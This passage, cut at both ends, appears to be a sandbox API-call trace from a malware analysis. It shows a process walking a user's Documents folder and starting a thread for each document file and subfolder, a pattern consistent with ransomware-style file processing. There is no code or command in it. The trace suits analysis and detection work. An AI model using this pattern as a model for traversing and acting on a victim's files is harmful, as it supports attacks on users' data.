ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0090.692] wcscmp (_String1="My Shapes", _String2=".") returned 1 [0090.692] wcscmp (_String1="My Shapes", _String2="..") returned 1 [0090.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e950 [0090.693] wcscpy (in: _Dest=0x1b86e950, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.693] wcscat (in: _Dest=0x1b86e950, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.693] wcscat (in: _Dest=0x1b86e950, _Source="My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0090.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0090.693] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0090.693] wcscmp (_String1="My Videos", _String2=".") returned 1 [0090.693] wcscmp (_String1="My Videos", _String2="..") returned 1 [0090.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e9c0 [0090.694] wcscpy (in: _Dest=0x1b86e9c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.694] wcscat (in: _Dest=0x1b86e9c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.694] wcscat (in: _Dest=0x1b86e9c0, _Source="My Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0090.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e9c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0090.695] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0090.695] wcscmp (_String1="Outlook Files", _String2=".") returned 1 [0090.695] wcscmp (_String1="Outlook Files", _String2="..") returned 1 [0090.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85f110 [0090.695] wcscpy (in: _Dest=0x1b85f110, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.695] wcscat (in: _Dest=0x1b85f110, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.695] wcscat (in: _Dest=0x1b85f110, _Source="Outlook Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0090.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0090.696] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d00bd0, ftCreationTime.dwHighDateTime=0x1d5db63, ftLastAccessTime.dwLowDateTime=0xe767be30, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0xe767be30, ftLastWriteTime.dwHighDateTime=0x1d5d9ed, nFileSizeHigh=0x0, nFileSizeLow=0xeeeb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PQGFOlmZJFztQ_URJy5.xlsx", cAlternateFileName="PQGFOL~1.XLS")) returned 1 [0090.696] wcscmp (_String1="PQGFOlmZJFztQ_URJy5.xlsx", _String2=".") returned 1 [0090.696] wcscmp (_String1="PQGFOlmZJFztQ_URJy5.xlsx", _String2="..") returned 1 [0090.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784a30 [0090.696] wcscpy (in: _Dest=0x1b784a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.696] wcscat (in: _Dest=0x1b784a30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.696] wcscat (in: _Dest=0x1b784a30, _Source="PQGFOlmZJFztQ_URJy5.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PQGFOlmZJFztQ_URJy5.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PQGFOlmZJFztQ_URJy5.xlsx" [0090.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0090.697] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaec9200, ftCreationTime.dwHighDateTime=0x1d5dc2c, ftLastAccessTime.dwLowDateTime=0xfdf008b0, ftLastAccessTime.dwHighDateTime=0x1d5e36b, ftLastWriteTime.dwLowDateTime=0xfdf008b0, ftLastWriteTime.dwHighDateTime=0x1d5e36b, nFileSizeHigh=0x0, nFileSizeLow=0x1358d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p_49bK_rrgJ6QObaToT.odp", cAlternateFileName="P_49BK~1.ODP")) returned 1 [0090.697] wcscmp (_String1="p_49bK_rrgJ6QObaToT.odp", _String2=".") returned 1 [0090.697] wcscmp (_String1="p_49bK_rrgJ6QObaToT.odp", _String2="..") returned 1 [0090.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b784880 [0090.697] wcscpy (in: _Dest=0x1b784880, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.697] wcscat (in: _Dest=0x1b784880, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.697] wcscat (in: _Dest=0x1b784880, _Source="p_49bK_rrgJ6QObaToT.odp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p_49bK_rrgJ6QObaToT.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p_49bK_rrgJ6QObaToT.odp" [0090.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0090.698] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fcb7c80, ftCreationTime.dwHighDateTime=0x1d5deaa, ftLastAccessTime.dwLowDateTime=0x1190b990, ftLastAccessTime.dwHighDateTime=0x1d5e6c9, ftLastWriteTime.dwLowDateTime=0x1190b990, ftLastWriteTime.dwHighDateTime=0x1d5e6c9, nFileSizeHigh=0x0, nFileSizeLow=0xe8e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QRs8GttWm9Q.pptx", cAlternateFileName="QRS8GT~1.PPT")) returned 1 [0090.698] wcscmp (_String1="QRs8GttWm9Q.pptx", _String2=".") returned 1 [0090.698] wcscmp (_String1="QRs8GttWm9Q.pptx", _String2="..") returned 1 [0090.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f190 [0090.698] wcscpy (in: _Dest=0x1b85f190, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.698] wcscat (in: _Dest=0x1b85f190, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.698] wcscat (in: _Dest=0x1b85f190, _Source="QRs8GttWm9Q.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRs8GttWm9Q.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QRs8GttWm9Q.pptx" [0090.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0090.699] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb070, ftCreationTime.dwHighDateTime=0x1d5dbac, ftLastAccessTime.dwLowDateTime=0x381db880, ftLastAccessTime.dwHighDateTime=0x1d5e348, ftLastWriteTime.dwLowDateTime=0x381db880, ftLastWriteTime.dwHighDateTime=0x1d5e348, nFileSizeHigh=0x0, nFileSizeLow=0x34fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RBd RaVzN2wOfo.doc", cAlternateFileName="RBDRAV~1.DOC")) returned 1 [0090.699] wcscmp (_String1="RBd RaVzN2wOfo.doc", _String2=".") returned 1 [0090.699] wcscmp (_String1="RBd RaVzN2wOfo.doc", _String2="..") returned 1 [0090.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f210 [0090.699] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.699] wcscat (in: _Dest=0x1b85f210, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.699] wcscat (in: _Dest=0x1b85f210, _Source="RBd RaVzN2wOfo.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc" [0090.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0090.705] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8edbdf0, ftCreationTime.dwHighDateTime=0x1d5a6fb, ftLastAccessTime.dwLowDateTime=0xedb1810, ftLastAccessTime.dwHighDateTime=0x1d56728, ftLastWriteTime.dwLowDateTime=0xedb1810, ftLastWriteTime.dwHighDateTime=0x1d56728, nFileSizeHigh=0x0, nFileSizeLow=0x9922, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RgPS.xlsx", cAlternateFileName="RGPS~1.XLS")) returned 1 [0090.705] wcscmp (_String1="RgPS.xlsx", _String2=".") returned 1 [0090.705] wcscmp (_String1="RgPS.xlsx", _String2="..") returned 1 [0090.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86ea30 [0090.706] wcscpy (in: _Dest=0x1b86ea30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.706] wcscat (in: _Dest=0x1b86ea30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.706] wcscat (in: _Dest=0x1b86ea30, _Source="RgPS.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RgPS.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RgPS.xlsx" [0090.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ea30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0090.707] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x226993b0, ftCreationTime.dwHighDateTime=0x1d5d916, ftLastAccessTime.dwLowDateTime=0x9581b0f0, ftLastAccessTime.dwHighDateTime=0x1d5e0fd, ftLastWriteTime.dwLowDateTime=0x9581b0f0, ftLastWriteTime.dwHighDateTime=0x1d5e0fd, nFileSizeHigh=0x0, nFileSizeLow=0x9a9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sb6tP0UkQ3RwvQ9MaoK5.xlsx", cAlternateFileName="SB6TP0~1.XLS")) returned 1 [0090.707] wcscmp (_String1="sb6tP0UkQ3RwvQ9MaoK5.xlsx", _String2=".") returned 1 [0090.707] wcscmp (_String1="sb6tP0UkQ3RwvQ9MaoK5.xlsx", _String2="..") returned 1 [0090.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b7847f0 [0090.707] wcscpy (in: _Dest=0x1b7847f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.707] wcscat (in: _Dest=0x1b7847f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.707] wcscat (in: _Dest=0x1b7847f0, _Source="sb6tP0UkQ3RwvQ9MaoK5.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sb6tP0UkQ3RwvQ9MaoK5.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sb6tP0UkQ3RwvQ9MaoK5.xlsx" [0090.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7847f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0090.708] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f773eb0, ftCreationTime.dwHighDateTime=0x1d5dd96, ftLastAccessTime.dwLowDateTime=0x117276a0, ftLastAccessTime.dwHighDateTime=0x1d5e46d, ftLastWriteTime.dwLowDateTime=0x117276a0, ftLastWriteTime.dwHighDateTime=0x1d5e46d, nFileSizeHigh=0x0, nFileSizeLow=0x34ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sSeK.rtf", cAlternateFileName="")) returned 1 [0090.708] wcscmp (_String1="sSeK.rtf", _String2=".") returned 1 [0090.708] wcscmp (_String1="sSeK.rtf", _String2="..") returned 1 [0090.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eaa0 [0090.708] wcscpy (in: _Dest=0x1b86eaa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.708] wcscat (in: _Dest=0x1b86eaa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.708] wcscat (in: _Dest=0x1b86eaa0, _Source="sSeK.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sSeK.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sSeK.rtf" [0090.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86eaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0090.712] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79963cb0, ftCreationTime.dwHighDateTime=0x1d5e2fd, ftLastAccessTime.dwLowDateTime=0x343cb250, ftLastAccessTime.dwHighDateTime=0x1d5e38b, ftLastWriteTime.dwLowDateTime=0x343cb250, ftLastWriteTime.dwHighDateTime=0x1d5e38b, nFileSizeHigh=0x0, nFileSizeLow=0xd69f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SzE-zT6EvjZ.docx", cAlternateFileName="SZE-ZT~1.DOC")) returned 1 [0090.712] wcscmp (_String1="SzE-zT6EvjZ.docx", _String2=".") returned 1 [0090.712] wcscmp (_String1="SzE-zT6EvjZ.docx", _String2="..") returned 1 [0090.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f290 [0090.712] wcscpy (in: _Dest=0x1b85f290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.712] wcscat (in: _Dest=0x1b85f290, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.712] wcscat (in: _Dest=0x1b85f290, _Source="SzE-zT6EvjZ.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SzE-zT6EvjZ.docx" [0090.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0090.713] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a09350, ftCreationTime.dwHighDateTime=0x1d5dc78, ftLastAccessTime.dwLowDateTime=0xc7047b80, ftLastAccessTime.dwHighDateTime=0x1d5e292, ftLastWriteTime.dwLowDateTime=0xc7047b80, ftLastWriteTime.dwHighDateTime=0x1d5e292, nFileSizeHigh=0x0, nFileSizeLow=0x1059f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tDy8.doc", cAlternateFileName="")) returned 1 [0090.713] wcscmp (_String1="tDy8.doc", _String2=".") returned 1 [0090.713] wcscmp (_String1="tDy8.doc", _String2="..") returned 1 [0090.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eb10 [0090.713] wcscpy (in: _Dest=0x1b86eb10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.713] wcscat (in: _Dest=0x1b86eb10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.713] wcscat (in: _Dest=0x1b86eb10, _Source="tDy8.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tDy8.doc" [0090.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86eb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0090.715] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9633f10, ftCreationTime.dwHighDateTime=0x1d5e124, ftLastAccessTime.dwLowDateTime=0xe1605ad0, ftLastAccessTime.dwHighDateTime=0x1d5de3c, ftLastWriteTime.dwLowDateTime=0xe1605ad0, ftLastWriteTime.dwHighDateTime=0x1d5de3c, nFileSizeHigh=0x0, nFileSizeLow=0xef8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TNeWTzVWana8emjYTG.xls", cAlternateFileName="TNEWTZ~1.XLS")) returned 1 [0090.715] wcscmp (_String1="TNeWTzVWana8emjYTG.xls", _String2=".") returned 1 [0090.715] wcscmp (_String1="TNeWTzVWana8emjYTG.xls", _String2="..") returned 1 [0090.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b784760 [0090.715] wcscpy (in: _Dest=0x1b784760, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.715] wcscat (in: _Dest=0x1b784760, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.715] wcscat (in: _Dest=0x1b784760, _Source="TNeWTzVWana8emjYTG.xls" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TNeWTzVWana8emjYTG.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TNeWTzVWana8emjYTG.xls" [0090.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0090.721] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442343b0, ftCreationTime.dwHighDateTime=0x1d57a03, ftLastAccessTime.dwLowDateTime=0xae074c70, ftLastAccessTime.dwHighDateTime=0x1d564c0, ftLastWriteTime.dwLowDateTime=0xae074c70, ftLastWriteTime.dwHighDateTime=0x1d564c0, nFileSizeHigh=0x0, nFileSizeLow=0x1686, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uYU4eydMCSdIyX.docx", cAlternateFileName="UYU4EY~1.DOC")) returned 1 [0090.721] wcscmp (_String1="uYU4eydMCSdIyX.docx", _String2=".") returned 1 [0090.721] wcscmp (_String1="uYU4eydMCSdIyX.docx", _String2="..") returned 1 [0090.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85f310 [0090.721] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.721] wcscat (in: _Dest=0x1b85f310, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.721] wcscat (in: _Dest=0x1b85f310, _Source="uYU4eydMCSdIyX.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx" [0090.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0090.722] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x951987d0, ftCreationTime.dwHighDateTime=0x1d5e5b4, ftLastAccessTime.dwLowDateTime=0x99fbe090, ftLastAccessTime.dwHighDateTime=0x1d5e00f, ftLastWriteTime.dwLowDateTime=0x99fbe090, ftLastWriteTime.dwHighDateTime=0x1d5e00f, nFileSizeHigh=0x0, nFileSizeLow=0x14f72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VDSuh.doc", cAlternateFileName="")) returned 1 [0090.722] wcscmp (_String1="VDSuh.doc", _String2=".") returned 1 [0090.722] wcscmp (_String1="VDSuh.doc", _String2="..") returned 1 [0090.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86eb80 [0090.722] wcscpy (in: _Dest=0x1b86eb80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0090.723] wcscat (in: _Dest=0x1b86eb80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.723] wcscat (in: _Dest=0x1b86eb80, _Source="VDSuh.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc" [0090.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86eb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0090.724] FindNextFileW (in: hFindFile=0x1cd9c970, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250b1010, ftCreationTime.dwHighDateTime=0x1d5e6ec, ftLastAccessTime.dwLowDateTime=0x45f50820, ftLastAccessTime.dwHighDateTime=0x1d5e60c, ftLastWriteTime.dwLowDateTime=0x45f50820, ftLastWriteTime.dwHighDateTime=0x1d5e60c, nFileSizeHigh=0x0, 